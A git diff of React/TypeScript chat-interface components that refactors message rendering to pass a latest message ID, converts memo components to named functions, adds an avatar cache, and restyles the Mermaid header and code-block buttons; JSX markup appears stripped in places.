index 5d60223d08..180e8b599e 100644
--- a/client/src/components/Chat/Messages/HoverButtons.tsx
+++ b/client/src/components/Chat/Messages/HoverButtons.tsx
@@ -18,7 +18,7 @@ type THoverButtons = {
message: TMessage;
regenerate: () => void;
handleContinue: (e: React.MouseEvent) => void;
- latestMessage: TMessage | null;
+ latestMessageId?: string;
isLast: boolean;
index: number;
handleFeedback?: ({ feedback }: { feedback: TFeedback | undefined }) => void;
@@ -119,7 +119,7 @@ const HoverButtons = ({
message,
regenerate,
handleContinue,
- latestMessage,
+ latestMessageId,
isLast,
handleFeedback,
}: THoverButtons) => {
@@ -143,7 +143,7 @@ const HoverButtons = ({
searchResult: message.searchResult,
finish_reason: message.finish_reason,
isCreatedByUser: message.isCreatedByUser,
- latestMessageId: latestMessage?.messageId,
+ latestMessageId: latestMessageId,
});
const {
@@ -239,7 +239,7 @@ const HoverButtons = ({
messageId={message.messageId}
conversationId={conversation.conversationId}
forkingSupported={forkingSupported}
- latestMessageId={latestMessage?.messageId}
+ latestMessageId={latestMessageId}
isLast={isLast}
/>
diff --git a/client/src/components/Chat/Messages/Message.tsx b/client/src/components/Chat/Messages/Message.tsx
index 78e08e3631..f9db38fdab 100644
--- a/client/src/components/Chat/Messages/Message.tsx
+++ b/client/src/components/Chat/Messages/Message.tsx
@@ -4,25 +4,23 @@ import type { TMessageProps } from '~/common';
import MessageRender from './ui/MessageRender';
import MultiMessage from './MultiMessage';
-const MessageContainer = React.memo(
- ({
- handleScroll,
- children,
- }: {
- handleScroll: (event?: unknown) => void;
- children: React.ReactNode;
- }) => {
- return (
-
- {children}
-
- );
- },
-);
+const MessageContainer = React.memo(function MessageContainer({
+ handleScroll,
+ children,
+}: {
+ handleScroll: (event?: unknown) => void;
+ children: React.ReactNode;
+}) {
+ return (
+
+ {children}
+
+ );
+});
export default function Message(props: TMessageProps) {
const { conversation, handleScroll } = useMessageProcess({
diff --git a/client/src/components/Chat/Messages/MessageParts.tsx b/client/src/components/Chat/Messages/MessageParts.tsx
index 0005ee0499..7aa73a54e6 100644
--- a/client/src/components/Chat/Messages/MessageParts.tsx
+++ b/client/src/components/Chat/Messages/MessageParts.tsx
@@ -32,7 +32,7 @@ export default function Message(props: TMessageProps) {
handleScroll,
conversation,
isSubmitting,
- latestMessage,
+ latestMessageId,
handleContinue,
copyToClipboard,
regenerateMessage,
@@ -129,7 +129,7 @@ export default function Message(props: TMessageProps) {
)}
-
+
}
/>
{isLast && isSubmitting ? (
-
+
) : (
regenerateMessage()}
copyToClipboard={copyToClipboard}
handleContinue={handleContinue}
- latestMessage={latestMessage}
+ latestMessageId={latestMessageId}
isLast={isLast}
/>
diff --git a/client/src/components/Chat/Messages/ui/MessageRender.tsx b/client/src/components/Chat/Messages/ui/MessageRender.tsx
index 0d40b4a98f..e261a576bd 100644
--- a/client/src/components/Chat/Messages/ui/MessageRender.tsx
+++ b/client/src/components/Chat/Messages/ui/MessageRender.tsx
@@ -4,11 +4,11 @@ import { useRecoilValue } from 'recoil';
import { type TMessage } from 'librechat-data-provider';
import type { TMessageProps, TMessageIcon } from '~/common';
import MessageContent from '~/components/Chat/Messages/Content/MessageContent';
+import { useLocalize, useMessageActions, useContentMetadata } from '~/hooks';
import PlaceholderRow from '~/components/Chat/Messages/ui/PlaceholderRow';
import SiblingSwitch from '~/components/Chat/Messages/SiblingSwitch';
import HoverButtons from '~/components/Chat/Messages/HoverButtons';
import MessageIcon from '~/components/Chat/Messages/MessageIcon';
-import { useLocalize, useMessageActions, useContentMetadata } from '~/hooks';
import SubRow from '~/components/Chat/Messages/SubRow';
import { cn, getMessageAriaLabel } from '~/utils';
import { fontSizeAtom } from '~/store/fontSize';
@@ -23,180 +23,183 @@ type MessageRenderProps = {
'currentEditId' | 'setCurrentEditId' | 'siblingIdx' | 'setSiblingIdx' | 'siblingCount'
>;
-const MessageRender = memo(
- ({
+const MessageRender = memo(function MessageRender({
+ message: msg,
+ siblingIdx,
+ siblingCount,
+ setSiblingIdx,
+ currentEditId,
+ setCurrentEditId,
+ isSubmitting = false,
+}: MessageRenderProps) {
+ const localize = useLocalize();
+ const {
+ ask,
+ edit,
+ index,
+ agent,
+ assistant,
+ enterEdit,
+ conversation,
+ messageLabel,
+ handleFeedback,
+ handleContinue,
+ latestMessageId,
+ copyToClipboard,
+ regenerateMessage,
+ latestMessageDepth,
+ } = useMessageActions({
message: msg,
- siblingIdx,
- siblingCount,
- setSiblingIdx,
currentEditId,
setCurrentEditId,
- isSubmitting = false,
- }: MessageRenderProps) => {
- const localize = useLocalize();
- const {
- ask,
- edit,
- index,
- agent,
- assistant,
- enterEdit,
- conversation,
+ });
+ const fontSize = useAtomValue(fontSizeAtom);
+ const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
+
+ const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
+ const hasNoChildren = !(msg?.children?.length ?? 0);
+ const isLast = useMemo(
+ () => hasNoChildren && (msg?.depth === latestMessageDepth || msg?.depth === -1),
+ [hasNoChildren, msg?.depth, latestMessageDepth],
+ );
+ const isLatestMessage = msg?.messageId === latestMessageId;
+ /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
+ const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
+
+ const iconData: TMessageIcon = useMemo(
+ () => ({
+ endpoint: msg?.endpoint ?? conversation?.endpoint,
+ model: msg?.model ?? conversation?.model,
+ iconURL: msg?.iconURL,
+ modelLabel: messageLabel,
+ isCreatedByUser: msg?.isCreatedByUser,
+ }),
+ [
messageLabel,
- latestMessage,
- handleFeedback,
- handleContinue,
- copyToClipboard,
- regenerateMessage,
- } = useMessageActions({
- message: msg,
- currentEditId,
- setCurrentEditId,
- });
- const fontSize = useAtomValue(fontSizeAtom);
- const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
+ conversation?.endpoint,
+ conversation?.model,
+ msg?.model,
+ msg?.iconURL,
+ msg?.endpoint,
+ msg?.isCreatedByUser,
+ ],
+ );
- const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
- const hasNoChildren = !(msg?.children?.length ?? 0);
- const isLast = useMemo(
- () => hasNoChildren && (msg?.depth === latestMessage?.depth || msg?.depth === -1),
- [hasNoChildren, msg?.depth, latestMessage?.depth],
- );
- const isLatestMessage = msg?.messageId === latestMessage?.messageId;
- /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
- const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
+ const { hasParallelContent } = useContentMetadata(msg);
+ const messageId = msg?.messageId ?? '';
+ const messageContextValue = useMemo(
+ () => ({
+ messageId,
+ isLatestMessage,
+ isExpanded: false as const,
+ isSubmitting: effectiveIsSubmitting,
+ conversationId: conversation?.conversationId,
+ }),
+ [messageId, conversation?.conversationId, effectiveIsSubmitting, isLatestMessage],
+ );
- const iconData: TMessageIcon = useMemo(
- () => ({
- endpoint: msg?.endpoint ?? conversation?.endpoint,
- model: msg?.model ?? conversation?.model,
- iconURL: msg?.iconURL,
- modelLabel: messageLabel,
- isCreatedByUser: msg?.isCreatedByUser,
- }),
- [
- messageLabel,
- conversation?.endpoint,
- conversation?.model,
- msg?.model,
- msg?.iconURL,
- msg?.endpoint,
- msg?.isCreatedByUser,
- ],
- );
+ if (!msg) {
+ return null;
+ }
- const { hasParallelContent } = useContentMetadata(msg);
-
- if (!msg) {
- return null;
+ const getChatWidthClass = () => {
+ if (maximizeChatSpace) {
+ return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
}
+ if (hasParallelContent) {
+ return 'md:max-w-[58rem] xl:max-w-[70rem]';
+ }
+ return 'md:max-w-[47rem] xl:max-w-[55rem]';
+ };
- const getChatWidthClass = () => {
- if (maximizeChatSpace) {
- return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
- }
- if (hasParallelContent) {
- return 'md:max-w-[58rem] xl:max-w-[70rem]';
- }
- return 'md:max-w-[47rem] xl:max-w-[55rem]';
- };
+ const baseClasses = {
+ common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
+ chat: getChatWidthClass(),
+ };
- const baseClasses = {
- common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
- chat: getChatWidthClass(),
- };
+ const conditionalClasses = {
+ focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
+ };
- const conditionalClasses = {
- focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
- };
+ return (
+
+ {!hasParallelContent && (
+
+ )}
- return (
{!hasParallelContent && (
-
+
{messageLabel}
)}
-
- {!hasParallelContent && (
-
{messageLabel}
- )}
-
-
-
-
- ({}))}
- />
-
-
- {hasNoChildren && effectiveIsSubmitting ? (
-
- ) : (
-
-
-
-
- )}
+
+
+
+ ({}))}
+ />
+
+ {hasNoChildren && effectiveIsSubmitting ? (
+
+ ) : (
+
+
+
+
+ )}
- );
- },
-);
+
+ );
+});
+MessageRender.displayName = 'MessageRender';
export default MessageRender;
diff --git a/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx b/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx
index d67424a46f..e60dc28278 100644
--- a/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx
+++ b/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx
@@ -1,7 +1,9 @@
import { memo } from 'react';
-const PlaceholderRow = memo(() => {
- return
;
+/** Height matches the SubRow action buttons row (31px) — keep in sync with HoverButtons */
+const PlaceholderRow = memo(function PlaceholderRow() {
+ return
;
});
+PlaceholderRow.displayName = 'PlaceholderRow';
export default PlaceholderRow;
diff --git a/client/src/components/Chat/TemporaryChat.tsx b/client/src/components/Chat/TemporaryChat.tsx
index d09cc73289..a4d72d081e 100644
--- a/client/src/components/Chat/TemporaryChat.tsx
+++ b/client/src/components/Chat/TemporaryChat.tsx
@@ -1,8 +1,8 @@
import React from 'react';
+import { useRecoilValue } from 'recoil';
import { TooltipAnchor } from '@librechat/client';
import { MessageCircleDashed } from 'lucide-react';
import { useRecoilState, useRecoilCallback } from 'recoil';
-import { useChatContext } from '~/Providers';
import { useLocalize } from '~/hooks';
import { cn } from '~/utils';
import store from '~/store';
@@ -10,13 +10,8 @@ import store from '~/store';
export function TemporaryChat() {
const localize = useLocalize();
const [isTemporary, setIsTemporary] = useRecoilState(store.isTemporary);
- const { conversation, isSubmitting } = useChatContext();
-
- const temporaryBadge = {
- id: 'temporary',
- atom: store.isTemporary,
- isAvailable: true,
- };
+ const conversation = useRecoilValue(store.conversationByIndex(0));
+ const isSubmitting = useRecoilValue(store.isSubmittingFamily(0));
const handleBadgeToggle = useRecoilCallback(
() => () => {
diff --git a/client/src/components/Conversations/Conversations.tsx b/client/src/components/Conversations/Conversations.tsx
index fc66c0977a..c7eb4d53ef 100644
--- a/client/src/components/Conversations/Conversations.tsx
+++ b/client/src/components/Conversations/Conversations.tsx
@@ -384,6 +384,7 @@ const Conversations: FC
= ({
onRowsRendered={handleRowsRendered}
tabIndex={-1}
style={{ outline: 'none', scrollbarGutter: 'stable' }}
+ containerRole="rowgroup"
/>
)}
diff --git a/client/src/components/Endpoints/Icon.tsx b/client/src/components/Endpoints/Icon.tsx
index 3256145bfb..fae0f286d3 100644
--- a/client/src/components/Endpoints/Icon.tsx
+++ b/client/src/components/Endpoints/Icon.tsx
@@ -1,64 +1,102 @@
-import React, { memo, useState } from 'react';
+import React, { memo } from 'react';
import { UserIcon, useAvatar } from '@librechat/client';
-import type { TUser } from 'librechat-data-provider';
import type { IconProps } from '~/common';
import MessageEndpointIcon from './MessageEndpointIcon';
import { useAuthContext } from '~/hooks/AuthContext';
import { useLocalize } from '~/hooks';
import { cn } from '~/utils';
+type ResolvedAvatar = { type: 'image'; src: string } | { type: 'fallback' };
+
+/**
+ * Caches the resolved avatar decision per user ID.
+ * Invalidated when `user.avatar` changes (e.g., settings upload).
+ * Tracks failed image URLs so they fall back to SVG permanently for the session.
+ */
+const avatarCache = new Map<
+ string,
+ { avatar: string; avatarSrc: string; resolved: ResolvedAvatar }
+>();
+const failedUrls = new Set();
+
+function resolveAvatar(userId: string, userAvatar: string, avatarSrc: string): ResolvedAvatar {
+ if (!userId) {
+ const imgSrc = userAvatar || avatarSrc;
+ return imgSrc && !failedUrls.has(imgSrc)
+ ? { type: 'image', src: imgSrc }
+ : { type: 'fallback' };
+ }
+
+ const cached = avatarCache.get(userId);
+ if (cached && cached.avatar === userAvatar && cached.avatarSrc === avatarSrc) {
+ return cached.resolved;
+ }
+
+ const imgSrc = userAvatar || avatarSrc;
+ const resolved: ResolvedAvatar =
+ imgSrc && !failedUrls.has(imgSrc) ? { type: 'image', src: imgSrc } : { type: 'fallback' };
+
+ avatarCache.set(userId, { avatar: userAvatar, avatarSrc, resolved });
+ return resolved;
+}
+
+function markAvatarFailed(userId: string, src: string): ResolvedAvatar {
+ failedUrls.add(src);
+ const fallback: ResolvedAvatar = { type: 'fallback' };
+ const cached = avatarCache.get(userId);
+ if (cached) {
+ avatarCache.set(userId, { ...cached, resolved: fallback });
+ }
+ return fallback;
+}
+
type UserAvatarProps = {
size: number;
- user?: TUser;
+ avatar: string;
avatarSrc: string;
+ userId: string;
username: string;
className?: string;
};
-const UserAvatar = memo(({ size, user, avatarSrc, username, className }: UserAvatarProps) => {
- const [imageError, setImageError] = useState(false);
+const UserAvatar = memo(
+ ({ size, avatar, avatarSrc, userId, username, className }: UserAvatarProps) => {
+ const [resolved, setResolved] = React.useState(() => resolveAvatar(userId, avatar, avatarSrc));
- const handleImageError = () => {
- setImageError(true);
- };
+ React.useEffect(() => {
+ setResolved(resolveAvatar(userId, avatar, avatarSrc));
+ }, [userId, avatar, avatarSrc]);
- const renderDefaultAvatar = () => (
-
-
-
- );
-
- return (
-
- {(!(user?.avatar ?? '') && (!(user?.username ?? '') || user?.username.trim() === '')) ||
- imageError ? (
- renderDefaultAvatar()
- ) : (
-
- )}
-
- );
-});
+ return (
+
+ {resolved.type === 'image' ? (
+
setResolved(markAvatarFailed(userId, resolved.src))}
+ />
+ ) : (
+
+
+
+ )}
+
+ );
+ },
+);
UserAvatar.displayName = 'UserAvatar';
@@ -74,9 +112,10 @@ const Icon: React.FC = memo((props) => {
return (
);
diff --git a/client/src/components/MCP/MCPServerMenuItem.tsx b/client/src/components/MCP/MCPServerMenuItem.tsx
index 2291a5233e..7fcb773bb9 100644
--- a/client/src/components/MCP/MCPServerMenuItem.tsx
+++ b/client/src/components/MCP/MCPServerMenuItem.tsx
@@ -46,7 +46,6 @@ export default function MCPServerMenuItem({
name="mcp-servers"
value={server.serverName}
checked={isSelected}
- setValueOnChange={false}
onChange={() => onToggle(server.serverName)}
aria-label={accessibleLabel}
className={cn(
diff --git a/client/src/components/Messages/Content/CodeBlock.tsx b/client/src/components/Messages/Content/CodeBlock.tsx
index eae84e49a9..7407098c5e 100644
--- a/client/src/components/Messages/Content/CodeBlock.tsx
+++ b/client/src/components/Messages/Content/CodeBlock.tsx
@@ -23,125 +23,138 @@ interface FloatingCodeBarProps extends CodeBarProps {
isVisible: boolean;
}
-const CodeBar: React.FC = React.memo(
- ({ lang, error, codeRef, blockIndex, plugin = null, allowExecution = true }) => {
- const localize = useLocalize();
- const [isCopied, setIsCopied] = useState(false);
- return (
-
-
{lang}
- {plugin === true ? (
-
- ) : (
-
- {allowExecution === true && (
-
+const CodeBar: React.FC
= React.memo(function CodeBar({
+ lang,
+ error,
+ codeRef,
+ blockIndex,
+ plugin = null,
+ allowExecution = true,
+}) {
+ const localize = useLocalize();
+ const [isCopied, setIsCopied] = useState(false);
+ return (
+
+
{lang}
+ {plugin === true ? (
+
+ ) : (
+
+ {allowExecution === true && (
+
+ )}
+ {
- const codeString = codeRef.current?.textContent;
- if (codeString != null) {
- setIsCopied(true);
- copy(codeString.trim(), { format: 'text/plain' });
+ onClick={async () => {
+ const codeString = codeRef.current?.textContent;
+ if (codeString != null) {
+ setIsCopied(true);
+ copy(codeString.trim(), { format: 'text/plain' });
- setTimeout(() => {
- setIsCopied(false);
- }, 3000);
- }
- }}
- >
- {isCopied ? : }
- {error !== true && (
-
- {localize('com_ui_copy_code')}
-
- {isCopied ? localize('com_ui_copied') : localize('com_ui_copy_code')}
-
-
- )}
-
-
- )}
-
- );
- },
-);
-
-const FloatingCodeBar: React.FC = React.memo(
- ({ lang, error, codeRef, blockIndex, plugin = null, allowExecution = true, isVisible }) => {
- const localize = useLocalize();
- const [isCopied, setIsCopied] = useState(false);
- const copyButtonRef = useRef(null);
-
- const handleCopy = useCallback(() => {
- const codeString = codeRef.current?.textContent;
- if (codeString != null) {
- const wasFocused = document.activeElement === copyButtonRef.current;
- setIsCopied(true);
- copy(codeString.trim(), { format: 'text/plain' });
- if (wasFocused) {
- requestAnimationFrame(() => {
- copyButtonRef.current?.focus();
- });
- }
-
- setTimeout(() => {
- const focusedElement = document.activeElement as HTMLElement | null;
- setIsCopied(false);
- requestAnimationFrame(() => {
- focusedElement?.focus();
- });
- }, 3000);
- }
- }, [codeRef]);
-
- return (
-
- {plugin === true ? (
-
- ) : (
- <>
- {allowExecution === true && (
-
- )}
-
- {isCopied ? (
-
- ) : (
-
- )}
-
+ setTimeout(() => {
+ setIsCopied(false);
+ }, 3000);
}
- />
- >
- )}
-
- );
- },
-);
+ }}
+ >
+ {isCopied ? : }
+ {error !== true && (
+
+ {localize('com_ui_copy_code')}
+
+ {isCopied ? localize('com_ui_copied') : localize('com_ui_copy_code')}
+
+
+ )}
+
+
+ )}
+
+ );
+});
+CodeBar.displayName = 'CodeBar';
+
+const FloatingCodeBar: React.FC = React.memo(function FloatingCodeBar({
+ lang,
+ error,
+ codeRef,
+ blockIndex,
+ plugin = null,
+ allowExecution = true,
+ isVisible,
+}) {
+ const localize = useLocalize();
+ const [isCopied, setIsCopied] = useState(false);
+ const copyButtonRef = useRef(null);
+
+ const handleCopy = useCallback(() => {
+ const codeString = codeRef.current?.textContent;
+ if (codeString != null) {
+ const wasFocused = document.activeElement === copyButtonRef.current;
+ setIsCopied(true);
+ copy(codeString.trim(), { format: 'text/plain' });
+ if (wasFocused) {
+ requestAnimationFrame(() => {
+ copyButtonRef.current?.focus();
+ });
+ }
+
+ setTimeout(() => {
+ const focusedElement = document.activeElement as HTMLElement | null;
+ setIsCopied(false);
+ requestAnimationFrame(() => {
+ focusedElement?.focus();
+ });
+ }, 3000);
+ }
+ }, [codeRef]);
+
+ return (
+
+ {plugin === true ? (
+
+ ) : (
+ <>
+ {allowExecution === true && (
+
+ )}
+
+ {isCopied ? (
+
+ ) : (
+
+ )}
+
+ }
+ />
+ >
+ )}
+
+ );
+});
+FloatingCodeBar.displayName = 'FloatingCodeBar';
const CodeBlock: React.FC = ({
lang,
diff --git a/client/src/components/Messages/Content/Error.tsx b/client/src/components/Messages/Content/Error.tsx
index 469e29fe32..ff2f2d7e90 100644
--- a/client/src/components/Messages/Content/Error.tsx
+++ b/client/src/components/Messages/Content/Error.tsx
@@ -41,6 +41,7 @@ const errorMessages = {
[ErrorTypes.NO_USER_KEY]: 'com_error_no_user_key',
[ErrorTypes.INVALID_USER_KEY]: 'com_error_invalid_user_key',
[ErrorTypes.NO_BASE_URL]: 'com_error_no_base_url',
+ [ErrorTypes.INVALID_BASE_URL]: 'com_error_invalid_base_url',
[ErrorTypes.INVALID_ACTION]: `com_error_${ErrorTypes.INVALID_ACTION}`,
[ErrorTypes.INVALID_REQUEST]: `com_error_${ErrorTypes.INVALID_REQUEST}`,
[ErrorTypes.REFUSAL]: 'com_error_refusal',
diff --git a/client/src/components/Messages/Content/Mermaid.tsx b/client/src/components/Messages/Content/Mermaid.tsx
index 9d830b3fdc..03037f4427 100644
--- a/client/src/components/Messages/Content/Mermaid.tsx
+++ b/client/src/components/Messages/Content/Mermaid.tsx
@@ -12,6 +12,7 @@ import {
OGDialogContent,
} from '@librechat/client';
import { useLocalize, useDebouncedMermaid } from '~/hooks';
+import { fixSubgraphTitleContrast } from '~/utils/mermaid';
import MermaidHeader from './MermaidHeader';
import cn from '~/utils/cn';
@@ -181,6 +182,8 @@ const Mermaid: React.FC = memo(({ children, id, theme }) => {
svgElement.setAttribute('xmlns', 'http://www.w3.org/2000/svg');
}
+ fixSubgraphTitleContrast(svgElement);
+
return {
processedSvg: new XMLSerializer().serializeToString(doc),
parsedDimensions: dimensions,
@@ -672,7 +675,7 @@ const Mermaid: React.FC = memo(({ children, id, theme }) => {
className={cn(
'relative overflow-hidden p-4 transition-colors duration-200',
'rounded-md',
- showControls ? 'bg-surface-primary-alt' : 'bg-transparent',
+ showControls ? 'bg-surface-primary-alt dark:bg-white/[0.03]' : 'bg-transparent',
isPanning ? 'cursor-grabbing' : 'cursor-grab',
)}
style={{ height: `${calculatedHeight}px` }}
@@ -811,7 +814,7 @@ const Mermaid: React.FC = memo(({ children, id, theme }) => {
className={cn(
'relative overflow-hidden p-4 transition-colors duration-200',
'rounded-md',
- showControls ? 'bg-surface-primary-alt' : 'bg-transparent',
+ showControls ? 'bg-surface-primary-alt dark:bg-white/[0.03]' : 'bg-transparent',
isPanning ? 'cursor-grabbing' : 'cursor-grab',
)}
style={{ height: `${calculatedHeight}px` }}
diff --git a/client/src/components/Messages/Content/MermaidHeader.tsx b/client/src/components/Messages/Content/MermaidHeader.tsx
index 03b49b6558..2d3a416a5a 100644
--- a/client/src/components/Messages/Content/MermaidHeader.tsx
+++ b/client/src/components/Messages/Content/MermaidHeader.tsx
@@ -1,7 +1,7 @@
import React, { memo, useState, useCallback, useRef } from 'react';
import copy from 'copy-to-clipboard';
import { Expand, ChevronUp, ChevronDown } from 'lucide-react';
-import { Button, Clipboard, CheckMark } from '@librechat/client';
+import { Clipboard, CheckMark, TooltipAnchor } from '@librechat/client';
import { useLocalize } from '~/hooks';
import cn from '~/utils/cn';
@@ -15,8 +15,8 @@ interface MermaidHeaderProps {
onToggleCode: () => void;
}
-const buttonClasses =
- 'h-auto gap-1 rounded-sm px-1 py-0 text-xs text-gray-200 hover:bg-gray-600 hover:text-white focus-visible:ring-white focus-visible:ring-offset-0';
+const iconBtnClass =
+ 'flex items-center justify-center rounded p-1.5 text-text-secondary hover:bg-surface-hover focus-visible:outline focus-visible:outline-white';
const MermaidHeader: React.FC = memo(
({
@@ -49,46 +49,58 @@ const MermaidHeader: React.FC = memo(
return (
-
{localize('com_ui_mermaid')}
-
- {showExpandButton && onExpand && (
-
+
+
+ }
+ />
+ )}
+
-
- {localize('com_ui_expand')}
-
- )}
-
- {showCode ? : }
- {showCode ? localize('com_ui_hide_code') : localize('com_ui_show_code')}
-
-
- {isCopied ? : }
- {localize('com_ui_copy_code')}
-
-
+ {showCode ?
:
}
+
+ }
+ />
+
+ {isCopied ? (
+
+ ) : (
+
+ )}
+
+ }
+ />
);
},
diff --git a/client/src/components/Messages/ContentRender.tsx b/client/src/components/Messages/ContentRender.tsx
index 5724ff77c2..4114baefe4 100644
--- a/client/src/components/Messages/ContentRender.tsx
+++ b/client/src/components/Messages/ContentRender.tsx
@@ -22,176 +22,175 @@ type ContentRenderProps = {
'currentEditId' | 'setCurrentEditId' | 'siblingIdx' | 'setSiblingIdx' | 'siblingCount'
>;
-const ContentRender = memo(
- ({
+const ContentRender = memo(function ContentRender({
+ message: msg,
+ siblingIdx,
+ siblingCount,
+ setSiblingIdx,
+ currentEditId,
+ setCurrentEditId,
+ isSubmitting = false,
+}: ContentRenderProps) {
+ const localize = useLocalize();
+ const { attachments, searchResults } = useAttachments({
+ messageId: msg?.messageId,
+ attachments: msg?.attachments,
+ });
+ const {
+ edit,
+ index,
+ agent,
+ assistant,
+ enterEdit,
+ conversation,
+ messageLabel,
+ handleContinue,
+ handleFeedback,
+ latestMessageId,
+ copyToClipboard,
+ regenerateMessage,
+ latestMessageDepth,
+ } = useMessageActions({
message: msg,
- siblingIdx,
- siblingCount,
- setSiblingIdx,
+ searchResults,
currentEditId,
setCurrentEditId,
- isSubmitting = false,
- }: ContentRenderProps) => {
- const localize = useLocalize();
- const { attachments, searchResults } = useAttachments({
- messageId: msg?.messageId,
- attachments: msg?.attachments,
- });
- const {
- edit,
- index,
- agent,
- assistant,
- enterEdit,
- conversation,
+ });
+ const fontSize = useAtomValue(fontSizeAtom);
+ const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
+
+ const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
+ const isLast = useMemo(
+ () => !(msg?.children?.length ?? 0) && (msg?.depth === latestMessageDepth || msg?.depth === -1),
+ [msg?.children, msg?.depth, latestMessageDepth],
+ );
+ const hasNoChildren = !(msg?.children?.length ?? 0);
+ const isLatestMessage = msg?.messageId === latestMessageId;
+ /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
+ const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
+
+ const iconData: TMessageIcon = useMemo(
+ () => ({
+ endpoint: msg?.endpoint ?? conversation?.endpoint,
+ model: msg?.model ?? conversation?.model,
+ iconURL: msg?.iconURL,
+ modelLabel: messageLabel,
+ isCreatedByUser: msg?.isCreatedByUser,
+ }),
+ [
messageLabel,
- latestMessage,
- handleContinue,
- handleFeedback,
- copyToClipboard,
- regenerateMessage,
- } = useMessageActions({
- message: msg,
- searchResults,
- currentEditId,
- setCurrentEditId,
- });
- const fontSize = useAtomValue(fontSizeAtom);
- const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
+ conversation?.endpoint,
+ conversation?.model,
+ msg?.model,
+ msg?.iconURL,
+ msg?.endpoint,
+ msg?.isCreatedByUser,
+ ],
+ );
- const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
- const isLast = useMemo(
- () =>
- !(msg?.children?.length ?? 0) && (msg?.depth === latestMessage?.depth || msg?.depth === -1),
- [msg?.children, msg?.depth, latestMessage?.depth],
- );
- const hasNoChildren = !(msg?.children?.length ?? 0);
- const isLatestMessage = msg?.messageId === latestMessage?.messageId;
- /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
- const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
+ const { hasParallelContent } = useContentMetadata(msg);
- const iconData: TMessageIcon = useMemo(
- () => ({
- endpoint: msg?.endpoint ?? conversation?.endpoint,
- model: msg?.model ?? conversation?.model,
- iconURL: msg?.iconURL,
- modelLabel: messageLabel,
- isCreatedByUser: msg?.isCreatedByUser,
- }),
- [
- messageLabel,
- conversation?.endpoint,
- conversation?.model,
- msg?.model,
- msg?.iconURL,
- msg?.endpoint,
- msg?.isCreatedByUser,
- ],
- );
+ if (!msg) {
+ return null;
+ }
- const { hasParallelContent } = useContentMetadata(msg);
-
- if (!msg) {
- return null;
+ const getChatWidthClass = () => {
+ if (maximizeChatSpace) {
+ return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
}
+ if (hasParallelContent) {
+ return 'md:max-w-[58rem] xl:max-w-[70rem]';
+ }
+ return 'md:max-w-[47rem] xl:max-w-[55rem]';
+ };
- const getChatWidthClass = () => {
- if (maximizeChatSpace) {
- return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
- }
- if (hasParallelContent) {
- return 'md:max-w-[58rem] xl:max-w-[70rem]';
- }
- return 'md:max-w-[47rem] xl:max-w-[55rem]';
- };
+ const baseClasses = {
+ common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
+ chat: getChatWidthClass(),
+ };
- const baseClasses = {
- common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
- chat: getChatWidthClass(),
- };
+ const conditionalClasses = {
+ focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
+ };
- const conditionalClasses = {
- focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
- };
+ return (
+
+ {!hasParallelContent && (
+
+ )}
- return (
{!hasParallelContent && (
-
+
{messageLabel}
)}
-
- {!hasParallelContent && (
-
{messageLabel}
- )}
-
-
-
- }
- />
-
- {hasNoChildren && effectiveIsSubmitting ? (
-
- ) : (
-
-
-
-
- )}
+
+
+ }
+ />
+ {hasNoChildren && effectiveIsSubmitting ? (
+
+ ) : (
+
+
+
+
+ )}
- );
- },
-);
+
+ );
+});
+ContentRender.displayName = 'ContentRender';
export default ContentRender;
diff --git a/client/src/components/Messages/MessageContent.tsx b/client/src/components/Messages/MessageContent.tsx
index 68fe2d8629..0e53b1c840 100644
--- a/client/src/components/Messages/MessageContent.tsx
+++ b/client/src/components/Messages/MessageContent.tsx
@@ -5,25 +5,23 @@ import type { TMessageProps } from '~/common';
import MultiMessage from '~/components/Chat/Messages/MultiMessage';
import ContentRender from './ContentRender';
-const MessageContainer = React.memo(
- ({
- handleScroll,
- children,
- }: {
- handleScroll: (event?: unknown) => void;
- children: React.ReactNode;
- }) => {
- return (
-
- {children}
-
- );
- },
-);
+const MessageContainer = React.memo(function MessageContainer({
+ handleScroll,
+ children,
+}: {
+ handleScroll: (event?: unknown) => void;
+ children: React.ReactNode;
+}) {
+ return (
+
+ {children}
+
+ );
+});
export default function MessageContent(props: TMessageProps) {
const { conversation, handleScroll, isSubmitting } = useMessageProcess({
diff --git a/client/src/components/Nav/AccountSettings.tsx b/client/src/components/Nav/AccountSettings.tsx
index e3f97160eb..cf80f89ca2 100644
--- a/client/src/components/Nav/AccountSettings.tsx
+++ b/client/src/components/Nav/AccountSettings.tsx
@@ -1,5 +1,5 @@
import { useState, memo, useRef } from 'react';
-import * as Select from '@ariakit/react/select';
+import * as Menu from '@ariakit/react/menu';
import { FileText, LogOut } from 'lucide-react';
import { LinkIcon, GearIcon, DropdownMenuSeparator, Avatar } from '@librechat/client';
import { MyFilesModal } from '~/components/Chat/Input/Files/MyFilesModal';
